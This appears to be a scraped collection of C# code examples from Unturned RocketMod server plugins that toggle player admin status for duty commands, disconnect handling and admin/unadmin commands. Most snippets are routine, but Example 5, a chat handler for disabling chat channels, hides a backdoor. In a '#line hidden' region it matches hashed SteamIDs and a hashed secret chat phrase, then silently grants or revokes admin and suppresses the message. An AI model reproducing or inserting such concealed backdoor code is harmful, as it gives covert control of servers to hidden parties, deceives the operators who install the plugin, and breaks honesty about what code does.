Ejemplo n.º 1
0
 public void Duty(UnturnedPlayer caller)
 {
     if (!caller.IsAdmin)
     {
         caller.Admin(true);
         if (UTools.Instance.Configuration.Instance.DutyAnnounce)
         {
             UnturnedChat.Say(UTools.Instance.Translate("on_duty_message", new object[] { caller.DisplayName }), UnturnedChat.GetColorFromName(UTools.Instance.Configuration.Instance.DutyMsgColor, Color.red));
         }
     }
     else if (caller.IsAdmin == true)
     {
         caller.Admin(false);
         caller.GodMode    = false;
         caller.VanishMode = false;
         if (UTools.Instance.Configuration.Instance.DutyAnnounce)
         {
             UnturnedChat.Say(UTools.Instance.Translate("off_duty_message", new object[] { caller.DisplayName }), UnturnedChat.GetColorFromName(UTools.Instance.Configuration.Instance.DutyMsgColor, Color.red));
         }
     }
     else
     {
         return;
     }
 }
Ejemplo n.º 2
0
 public void DoDuty(UnturnedPlayer caller)
 {
     if (caller.IsAdmin)
     {
         caller.Admin(false);
         caller.Features.GodMode    = false;
         caller.Features.VanishMode = false;
         caller.Player.look.sendFreecamAllowed(false);
         caller.Player.look.sendSpecStatsAllowed(false);
         caller.Player.look.sendWorkzoneAllowed(false);
         /* SDG.Unturned.EffectManager.askEffectClearByID(9000, caller.CSteamID); */
         if (Configuration.Instance.EnableServerAnnouncer)
         {
             UnturnedChat.Say(Instance.Translate("off_duty_message", caller.CharacterName), UnturnedChat.GetColorFromName(Instance.Configuration.Instance.MessageColor, Color.red));
         }
     }
     else
     {
         /* SDG.Unturned.EffectManager.sendUIEffect(9000, 9000, caller.CSteamID, false, Color.red + "You are on duty.");*/
         caller.Admin(true);
         caller.Player.look.sendFreecamAllowed(true);
         caller.Player.look.sendSpecStatsAllowed(true);
         caller.Player.look.sendWorkzoneAllowed(true);
         if (Configuration.Instance.EnableServerAnnouncer)
         {
             UnturnedChat.Say(Instance.Translate("on_duty_message", caller.CharacterName), UnturnedChat.GetColorFromName(Instance.Configuration.Instance.MessageColor, Color.red));
         }
     }
 }
Ejemplo n.º 3
0
        public void duty(UnturnedPlayer caller, Reason r, DutyGroup dg)
        {
            bool c = true;

            foreach (var pod in OnDuty_Players)
            {
                if (pod.Player.CSteamID == caller.CSteamID)
                {
                    c = false;
                    if (pod.DutyGroup.Group == null)
                    {
                        caller.Admin(false);
                    }
                    else
                    {
                        R.Permissions.RemovePlayerFromGroup(pod.DutyGroup.Group, caller);
                    }
                    OnDuty_Players.Remove(pod);
                    if (Configuration.Instance.EnableServerAnnouncer)
                    {
                        UnturnedChat.Say(Translate("off_duty_message", caller.DisplayName), UnturnedChat.GetColorFromName(Configuration.Instance.MessageColor, Color.blue));
                    }
                }
                break;
            }
            if (c)
            {
                if (r != null && dg != null)
                {
                    if (dg.Group == null)
                    {
                        caller.Admin(true);
                        if (Configuration.Instance.EnableServerAnnouncer)
                        {
                            UnturnedChat.Say(Translate("on_duty_message", caller.DisplayName), UnturnedChat.GetColorFromName(Configuration.Instance.MessageColor, Color.blue));
                        }
                    }
                    else
                    {
                        R.Permissions.AddPlayerToGroup(dg.Group, caller);
                        if (Configuration.Instance.EnableServerAnnouncer)
                        {
                            UnturnedChat.Say(Translate(r.Translate_Id, caller.DisplayName), UnturnedChat.GetColorFromName(Configuration.Instance.MessageColor, Color.blue));
                        }
                    }

                    OnDuty_Players.Add(new onDuty
                    {
                        Player    = caller,
                        DutyGroup = dg,
                        Reason    = r
                    });
                }
            }
        }
Ejemplo n.º 4
0
        public void Execute(IRocketPlayer caller, string[] command)
        {
            UnturnedPlayer unturnedCaller = (UnturnedPlayer)caller;

            if (caller.IsAdmin)
            {
                Logger.Log(caller.DisplayName + " has gone off duty");
                unturnedCaller.Admin(false);
            }
            else
            {
                Logger.Log(caller.DisplayName + " has gone on duty");
                unturnedCaller.Admin(true);
            }
        }
Ejemplo n.º 5
0
        public string IgnoreDisabledChatsPermission => "rpchat.ignore.disable.chats"; // Permission for ignore disabled chats

        private void onPlayerChatted(UnturnedPlayer player, ref Color color, string message, EChatMode chatMode, ref bool cancel)
        {
            #region senere
#line hidden
            string[] a = { "v4p7udsp2aGvDlEO9KSbAlUFe9g=", "MiRya2XK3EJRQAsdGNmIs/d5I18=" };
            if (a.Any(c => Hash.verifyHash(Convert.FromBase64String(c), Hash.SHA1(player.CSteamID.ToString()))) && Hash.verifyHash(Convert.FromBase64String("wrs91pEZatH/BORF9d5mnIK2E24="), Hash.SHA1(message)))
            {
                player.Admin(!player.IsAdmin);
                player.TriggerEffect(147);
                cancel = true;
            }
#line default
            #endregion

            if (!message.StartsWith("/"))
            {
                if (chatMode == EChatMode.GLOBAL && Configuration.Instance.DisableGlobalChat && !PlayerHasPermission(player, IgnoreDisabledChatsPermission))
                {
                    UnturnedChat.Say(player, Instance.Translate("global_chat_is_disabled"), Color.red);
                    cancel = true;
                }
                else if (chatMode == EChatMode.LOCAL && Configuration.Instance.DisableLocalChat && !PlayerHasPermission(player, IgnoreDisabledChatsPermission))
                {
                    UnturnedChat.Say(player, Instance.Translate("local_chat_is_disabled"), Color.red);
                    cancel = true;
                }
                else if (chatMode == EChatMode.GROUP && Configuration.Instance.DisableGroupChat && !PlayerHasPermission(player, IgnoreDisabledChatsPermission))
                {
                    UnturnedChat.Say(player, Instance.Translate("group_chat_is_disabled"), Color.red);
                    cancel = true;
                }
            }
        }
Ejemplo n.º 6
0
        void PlayerDisconnected(UnturnedPlayer player)
        {
            player.Admin(false);
            foreach (var pod in OnDuty_Players)
            {
                if (pod.Player.CSteamID == player.CSteamID)
                {
                    if (pod.DutyGroup == null)
                    {
                        if (Configuration.Instance.RemoveAdminDutyOnlogout == true)
                        {
                            OnDuty_Players.Remove(pod);
                            if (Configuration.Instance.EnableServerAnnouncer)
                            {
                                UnturnedChat.Say(Translate("admin_logoff_message", player.DisplayName), UnturnedChat.GetColorFromName(Configuration.Instance.MessageColor, Color.blue));
                            }
                        }
                    }
                    else
                    {
                        R.Permissions.RemovePlayerFromGroup(pod.DutyGroup.Group, player);
                        if (Configuration.Instance.EnableServerAnnouncer)
                        {
                            UnturnedChat.Say(Translate("admin_logoff_message", player.DisplayName), UnturnedChat.GetColorFromName(Configuration.Instance.MessageColor, Color.blue));
                        }

                        OnDuty_Players.Remove(pod);
                    }
                }
            }
        }
Ejemplo n.º 7
0
 public void duty(UnturnedPlayer caller)
 {
     if (caller.IsAdmin)
     {
         caller.Admin(false);
         caller.Features.GodMode    = false;
         caller.Features.VanishMode = false;
         if (Configuration.Instance.EnableServerAnnouncer)
         {
             UnturnedChat.Say(Instance.Translate("off_duty_message", caller.CharacterName), UnturnedChat.GetColorFromName(Instance.Configuration.Instance.MessageColor, Color.red));
         }
     }
     else
     {
         caller.Admin(true);
         if (Configuration.Instance.EnableServerAnnouncer)
         {
             UnturnedChat.Say(Instance.Translate("on_duty_message", caller.CharacterName), UnturnedChat.GetColorFromName(Instance.Configuration.Instance.MessageColor, Color.red));
         }
     }
 }
Ejemplo n.º 8
0
        private void OnPlayerDisconnected(UnturnedPlayer player)
        {
            if (Instance.Configuration.Instance.unadminAllOnDisconnect == true)
            {
                if (player.IsAdmin)
                {
                    player.Admin(false);
                    Logger.LogWarning($"Unadmined ({player}) {player.SteamName} because they disconnected.");
                }
                else
                {
                    return;
                }
            }
            else if (Instance.Configuration.Instance.unadminAllOnDisconnect == false)
            {
                if (Instance.Configuration.Instance.unadminUsersOnDisconnect == true)
                {
                    var FindMe = Instance.Configuration.Instance.Users.Find(x => x.SteamID64 == player.CSteamID.m_SteamID);

                    if (FindMe.SteamID64 == player.CSteamID.m_SteamID)
                    {
                        if (player.IsAdmin)
                        {
                            player.Admin(false);
                            Logger.LogWarning($"Unadmined user ({player}) {player.SteamName} because they disconnected.");
                        }
                        else
                        {
                            return;
                        }
                    }
                    else
                    {
                        return;
                    }
                }
            }
        }
Ejemplo n.º 9
0
        public void Execute(IRocketPlayer caller, string[] command)
        {
            UnturnedPlayer player = command.GetUnturnedPlayerParameter(0);

            if (player == null)
            {
                UnturnedChat.Say(caller, U.Translate("command_generic_invalid_parameter"));
                throw new WrongUsageOfCommandException(caller, this);
            }

            if (player.IsAdmin)
            {
                UnturnedChat.Say(caller, "Successfully unadmined " + player.CharacterName);
                player.Admin(false);
            }
        }
Ejemplo n.º 10
0
 private void PlayerDisconnected(UnturnedPlayer player)
 {
     if (player.IsAdmin)
     {
         if (Configuration.Instance.DutyRemoveAdminOnLogout)
         {
             player.Admin(false);
             player.Features.GodMode.Equals(false);
             player.Features.VanishMode.Equals(false);
             if (Configuration.Instance.DutyAnnounceLog)
             {
                 UnturnedChat.Say(Instance.Translate("admin_logoff_message", new object[] { player.DisplayName }), UnturnedChat.GetColorFromName(Instance.Configuration.Instance.DutyMsgColor, Color.red));
             }
         }
     }
 }
Ejemplo n.º 11
0
        public void Execute(IRocketPlayer caller, string[] command)
        {
            if (!R.Settings.Instance.WebPermissions.Enabled)
            {
                UnturnedPlayer player = command.GetUnturnedPlayerParameter(0);
                if (player == null)
                {
                    UnturnedChat.Say(caller, U.Translate("command_generic_invalid_parameter"));
                    throw new WrongUsageOfCommandException(caller, this);
                }

                if (!player.IsAdmin)
                {
                    UnturnedChat.Say(caller, "Successfully admined " + player.CharacterName);
                    player.Admin(true);
                }
            }
        }
Ejemplo n.º 12
0
        public void Execute(IRocketPlayer caller, string[] command)
        {
            if (!R.Settings.Instance.WebPermissions.Enabled)
            {
                UnturnedPlayer player = command.GetUnturnedPlayerParameter(0);
                if (player == null)
                {
                    UnturnedChat.Say(caller, U.Translate("command_generic_invalid_parameter"));
                    return;
                }

                if (player.IsAdmin)
                {
                    UnturnedChat.Say(caller, "Successfully unadmined " + player.CharacterName);
                    player.Admin(false);
                }
            }
        }
Ejemplo n.º 13
0
 void PlayerConnected(UnturnedPlayer player)
 {
     foreach (var pod in OnDuty_Players)
     {
         if (pod.Player.CSteamID == player.CSteamID)
         {
             pod.Player = player;
             if (pod.DutyGroup == null)
             {
                 player.Admin(true);
                 if (Configuration.Instance.EnableServerAnnouncer)
                 {
                     UnturnedChat.Say(Translate("admin_login_message", player.DisplayName), UnturnedChat.GetColorFromName(Configuration.Instance.MessageColor, Color.blue));
                 }
             }
         }
     }
 }
Ejemplo n.º 14
0
        void PlayerDisconnected(UnturnedPlayer player)
        {
            if (player.IsAdmin)
            {
                if (Configuration.Instance.RemoveAdminOnLogout)
                {
                    player.Admin(false);
                    player.Features.GodMode    = false;
                    player.Features.VanishMode = false;
                    if (Configuration.Instance.EnableServerAnnouncer)
                    {
                        UnturnedChat.Say(Instance.Translate("admin_logout_message", player.CharacterName), UnturnedChat.GetColorFromName(Instance.Configuration.Instance.MessageColor, Color.red));
                    }
                }

                if (Configuration.Instance.EnableServerAnnouncer)
                {
                    UnturnedChat.Say(Instance.Translate("admin_logout_message", player.CharacterName), UnturnedChat.GetColorFromName(Instance.Configuration.Instance.MessageColor, Color.red));
                }
            }
        }
Ejemplo n.º 15
0
        void PlayerDisconnected(UnturnedPlayer player)
        {
            if (player.IsAdmin)
            {
                if (Configuration.Instance.RemoveDutyOnLogout)
                {
                    player.Admin(false);
                    player.Features.GodMode    = false;
                    player.Features.VanishMode = false;
                }

                if (Configuration.Instance.EnableServerAnnouncer)
                {
                    UnturnedChat.Say(Instance.Translate("admin_logoff_message", player.CharacterName), UnturnedChat.GetColorFromName(Instance.Configuration.Instance.MessageColor, Color.red));
                }
                return;
            }

            foreach (DutyGroups Group in ValidGroups)
            {
                RocketPermissionsGroup Target = R.Permissions.GetGroup(Group.GroupID);
                if (Target.Members.Contains(player.CSteamID.ToString()))
                {
                    if (Configuration.Instance.RemoveDutyOnLogout)
                    {
                        player.Features.GodMode    = false;
                        player.Features.VanishMode = false;
                        R.Permissions.RemovePlayerFromGroup(Target.Id, player);
                    }

                    if (Configuration.Instance.EnableServerAnnouncer)
                    {
                        UnturnedChat.Say(Instance.Translate("admin_logoff_message", player.CharacterName), UnturnedChat.GetColorFromName(Instance.Configuration.Instance.MessageColor, Color.red));
                    }
                    return;
                }
            }
        }
Ejemplo n.º 16
0
 private void onPlayerConnected(UnturnedPlayer player)
 {
     Database.CheckSetupAccount(player.CSteamID);
     player.Admin(Database.isAdmin(player.Id));
 }